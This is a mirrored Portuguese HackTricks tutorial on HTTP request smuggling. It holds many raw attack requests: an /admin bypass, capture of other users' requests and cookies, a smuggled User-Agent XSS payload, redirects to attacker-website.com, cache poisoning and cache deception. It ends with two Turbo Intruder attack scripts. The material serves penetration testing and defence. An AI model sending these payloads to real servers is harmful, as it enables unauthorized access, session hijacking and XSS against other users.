Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator e1808c9242 Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ
2024-03-15 22:16:10 +00:00
..
browser-http-request-smuggling.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:17:02 +00:00
README.md Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ 2024-03-15 22:16:10 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:09:41 +00:00

README.md

HTTP Request Smuggling / Ataque de Desincronização HTTP

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que é

Essa vulnerabilidade ocorre quando uma desincronização entre proxies de front-end e o servidor de back-end permite que um atacante envie uma solicitação HTTP que será interpretada como uma única solicitação pelos proxies de front-end (balanceador de carga/proxy reverso) e como 2 solicitações pelo servidor de back-end.
Isso permite que um usuário modifique a próxima solicitação que chega ao servidor de back-end depois da dele.

Teoria

Especificação RFC (2161)

Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

Content-Length

O cabeçalho da entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de chunks.

Realidade

O Front-End (um balanceador de carga / Proxy Reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor de Back-End processa o outro provocando uma desincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma solicitação para o proxy reverso que será interpretada pelo servidor de back-end como 2 solicitações diferentes. O perigo dessa técnica reside no fato de que o servidor de back-end interpretará a 2ª solicitação injetada como se ela viesse do próximo cliente e a solicitação real desse cliente fará parte da solicitação injetada.

Particularidades

Lembre-se de que no HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Esse cabeçalho usa um número decimal para indicar o número de bytes do corpo da solicitação. O corpo é esperado para terminar no último caractere, uma nova linha não é necessária no final da solicitação.
  • Transfer-Encoding: Esse cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de comprimento. Este método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Com base em minha experiência, é recomendado usar Connection: keep-alive na primeira solicitação do Request Smuggling.

Exemplos Básicos

{% hint style="success" %} Ao tentar explorar isso com o Burp Suite, desative Update Content-Length e Normalize HTTP/1 line endings no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados. {% endhint %}

Os ataques de desincronização de solicitação HTTP são elaborados enviando solicitações ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos Content-Length (CL) e Transfer-Encoding (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas solicitações pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.

Exemplos Básicos de Tipos de Vulnerabilidade

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)

  • Front-End (CL): Processa a solicitação com base no cabeçalho Content-Length.
  • Back-End (TE): Processa a solicitação com base no cabeçalho Transfer-Encoding.
  • Cenário de Ataque:
  • O atacante envia uma solicitação em que o valor do cabeçalho Content-Length não corresponde ao comprimento real do conteúdo.
  • O servidor de front-end encaminha a solicitação inteira para o back-end, com base no valor de Content-Length.
  • O servidor de back-end processa a solicitação como chunked devido ao cabeçalho Transfer-Encoding: chunked, interpretando os dados restantes como uma solicitação separada e subsequente.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)

  • Front-End (TE): Processa a solicitação com base no cabeçalho Transfer-Encoding.
  • Back-End (CL): Processa a solicitação com base no cabeçalho Content-Length.
  • Cenário de Ataque:
  • O atacante envia uma solicitação chunked em que o tamanho do chunk (7b) e o comprimento real do conteúdo (Content-Length: 4) não se alinham.
  • O servidor de front-end, respeitando Transfer-Encoding, encaminha a solicitação inteira para o back-end.
  • O servidor de back-end, respeitando Content-Length, processa apenas a parte inicial da solicitação (7b bytes), deixando o restante como parte de uma solicitação subsequente não intencional.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)

  • Servidores: Ambos suportam Transfer-Encoding, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
  • Cenário de Ataque:
    • O atacante envia uma solicitação com cabeçalhos de Transfer-Encoding obfuscados.
    • Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
    • A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):

  • Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho Content-Length.
  • Este cenário geralmente não leva ao contrabando, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Solicitação Normal

Cenário CL != 0:

  • Refere-se a cenários em que o cabeçalho Content-Length está presente e tem um valor diferente de zero, indicando que o corpo da solicitação contém conteúdo.
  • É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Não Vazio

Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para excluir o cabeçalho Content-Length ou Transfer-Encoding para que um contrabando de solicitação HTTP seja possível de ser abusado.

Connection: Content-Length

Para mais informações sobre cabeçalhos hop-by-hop visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Encontrando HTTP Request Smuggling

A identificação de vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançada usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:

Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observação:
  • O servidor front-end processa a solicitação com base no Content-Length e interrompe a mensagem prematuramente.
  • O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
  • Indicadores:
  • Timeouts ou longos atrasos na resposta.
  • Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.

Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observação:
  • O servidor front-end processa a solicitação com base no Transfer-Encoding e encaminha a mensagem inteira.
  • O servidor back-end, esperando uma mensagem com base no Content-Length, aguarda dados adicionais que nunca chegam, causando um atraso.

Outros Métodos para Encontrar Vulnerabilidades

  • Análise Diferencial de Resposta:
  • Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise.
  • Usando Ferramentas Automatizadas:
  • Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
  • Testes de Variação de Content-Length:
  • Enviar solicitações com valores de Content-Length variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias.
  • Testes de Variação de Transfer-Encoding:
  • Enviar solicitações com cabeçalhos de Transfer-Encoding obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.

Testando a Vulnerabilidade de HTTP Request Smuggling

Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para / resulte em uma resposta 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em Exemplos Básicos demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.

Considerações Importantes

Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:

  • Conexões de Rede Distintas: As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
  • URL e Parâmetros Consistentes: Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
  • Temporização e Condições de Corrida: A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete contra outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
  • Desafios de Balanceamento de Carga: Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
  • Impacto Não Intencional no Usuário: Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.

Abusando do HTTP Request Smuggling

Para contornar controles de segurança front-end

Contornando a Segurança Front-End via HTTP Request Smuggling

Às vezes, proxies front-end impõem medidas de segurança, examinando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar /admin pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.

Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho /admin que geralmente é protegido pelo proxy front-end:

Exemplo CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

No ataque CL.TE, o cabeçalho Content-Length é utilizado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho Transfer-Encoding: chunked. O proxy de front-end processa a requisição POST inicial, mas falha em inspecionar a requisição GET /admin incorporada, permitindo acesso não autorizado ao caminho /admin.

Exemplo TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por outro lado, no ataque TE.CL, a solicitação POST inicial usa Transfer-Encoding: chunked, e a solicitação incorporada subsequente é processada com base no cabeçalho Content-Length. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação GET /admin contrabandeada, concedendo inadvertidamente acesso ao caminho restrito /admin.

Revelando a reescrita de solicitação de front-end

As aplicações frequentemente empregam um servidor de front-end para modificar solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como X-Forwarded-For: <IP do cliente>, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de burlar proteções ou descobrir informações ou endpoints ocultos.

Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Nesta estrutura, os componentes de solicitação subsequentes são anexados após search=, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.

É importante alinhar o cabeçalho Content-Length da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.

Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve ser encerrada com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.

Capturando solicitações de outros usuários

É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:

Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Neste cenário, o parâmetro de comentário destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.

No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere &. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro &, que pode até fazer parte da string de consulta.

Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Usando o contrabando de solicitação HTTP para explorar XSS refletido

O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a XSS Refletido, oferecendo vantagens significativas:

  • A interação com os usuários-alvo não é necessária.
  • Permite a exploração de XSS em partes da solicitação que são normalmente inacessíveis, como os cabeçalhos de solicitação HTTP.

Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload é estruturado para explorar a vulnerabilidade através de:

  1. Iniciar uma solicitação POST, aparentemente típica, com um cabeçalho Transfer-Encoding: chunked para indicar o início do smuggling.
  2. Seguir com um 0, marcando o final do corpo da mensagem chunked.
  3. Em seguida, é introduzida uma solicitação GET contrabandeada, onde o cabeçalho User-Agent é injetado com um script, <script>alert(1)</script>, desencadeando o XSS quando o servidor processa essa solicitação subsequente.

Ao manipular o User-Agent através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.

Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto

Explorando Redirecionamentos no Local com HTTP Request Smuggling

As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho Host na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:

GET /home HTTP/1.1
Host: normal-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Este pedido contrabandeado poderia fazer com que o próximo pedido de usuário processado seja redirecionado para um site controlado pelo atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Usando o contrabando de solicitação HTTP para realizar envenenamento de cache web

Explorando o Envenenamento de Cache Web via Contrabando de Solicitação HTTP

O envenenamento de cache web pode ser executado se algum componente da infraestrutura de front-end armazenar em cache conteúdo, geralmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível envenenar o cache.

Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte Exemplos Básicos). Da mesma forma, é viável enganar o servidor para entregar o conteúdo /index.html em resposta a uma solicitação para /static/include.js. Consequentemente, o conteúdo /static/include.js é substituído no cache pelo de /index.html, tornando o /static/include.js inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).

Essa técnica se torna particularmente potente se uma vulnerabilidade de Redirecionamento Aberto for descoberta ou se houver um redirecionamento no local para um redirecionamento aberto. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de /static/include.js por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o /static/include.js atualizado.

Abaixo está uma ilustração da exploração do envenenamento de cache combinado com um redirecionamento no local para um redirecionamento aberto. O objetivo é alterar o conteúdo em cache de /static/include.js para servir código JavaScript controlado pelo atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Observe a solicitação incorporada direcionada a /post/next?postId=3. Esta solicitação será redirecionada para /post?postId=4, utilizando o valor do cabeçalho Host para determinar o domínio. Ao alterar o cabeçalho Host, o atacante pode redirecionar a solicitação para seu domínio (redirecionamento no local para redirecionamento aberto).

Após o envenenamento de soquete bem-sucedido, uma solicitação GET para /static/include.js deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de redirecionamento no local para redirecionamento aberto e buscará o conteúdo do script controlado pelo atacante.

Posteriormente, qualquer solicitação para /static/include.js servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.

Usando o contrabando de solicitação HTTP para realizar a decepção de cache da web

Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?

  • No envenenamento de cache da web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
  • Na decepção de cache da web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.

O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, /someimage.png), os dados sensíveis da vítima de /private/messages podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.

Armando o Contrabando de Solicitação HTTP com a Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Ferramentas

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: